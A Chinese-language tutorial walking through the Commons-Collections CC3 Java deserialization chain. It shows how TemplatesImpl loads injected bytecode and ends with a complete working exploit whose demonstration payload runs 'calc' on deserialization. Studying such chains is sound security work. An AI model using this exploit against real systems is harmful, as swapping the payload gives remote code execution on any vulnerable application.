CC3
动态加载字节码
动态调用过程

这里我们可以正向看,首先是 loadClass(),它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()
defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类
此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。
CC3主要是动态加载字节码,会用到defineClass()
进入ClassLoader类中查找defineClass方法
查找到 defineClass() 方法的作用域为 protected,我们需要找到作用域为 public 的类方便我们利用。查找用法
最终在TemplatesImpl.TransletClassLoader中找到了未限制定义域的方法

跟进方法, 再查找defineClass的用法
发现TemplatesImpl.getTransletInstance方法可以调用defineTransletClasses方法

分析一下代码
代码首先是判断_name是否为空,是则返回空,我们肯定不能让他返回空,于是我们要对_name赋值
再检查_class是否为空,是则调用defineTransletClasses方法
跟进defineTransletClasses方法,分析后发现他是可以调用字节码生成类,需要初始化_bytecodes和_tfactory参数,生成类这个方法很有用,我们需要,于是不对_class进行初始化
JVM会加载生成类的静态代码块,从而达到执行恶意代码的流程
初始化代码
初始化时发现_bytecodes参数需要传入二维数组,但是defineClass是传入一维数组,我们需要将恶意代码传入到一维数组中再传入二维数组
1 2 3 4 5 6 7 8 9 10 11 12 13
| TemplatesImpl templates = new TemplatesImpl(); Class<?> tc=templates.getClass(); Class<?> ct = TemplatesImpl.class; Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Test.class"));
byte[][] codes = {code}; bytecodesField.set(templates,codes); templates.newTransformer();
|
其中Test.java代码如下
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException;
public class Test { static{ try{ Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
但是执行时报空指针错误
不太好找到错误原因,对判断语句打个断点调试一下

发现idea已经给出错误地方

这里发现_auxClasses为null分析一下上下文
发现要解决报错有两种思路
- 不执行
else语句
- 将
_auxClasses赋值
但是根据if语句,此时_transletIndex初始值是-1,我们需要对它重新赋值,要走if线
就算执行将_auxClasses赋值,循环外if (_transletIndex < 0)的判断也会抛出报错,于是我们要不执行else语句
分析一下判断条件,要求传入的_class的父类是ABSTRACT_TRANSLET
即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
于是我们更改Test.java,让它继承AbstractTranslet
更改后的Test.java代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet { static{ try{ Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
更改后成功弹出计算器

后续仿照CC1进行链子构造,只不过要执行的是templates的newTransformer方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value","key");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,transformedMap);
|
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<?> tc=templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("path\\to\\evilCode.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value","key");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,transformedMap);
Serialize(o); Unserialize("ser.bin");
}
public static void Serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj);
}
public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); return objectInputStream.readObject();
} }
|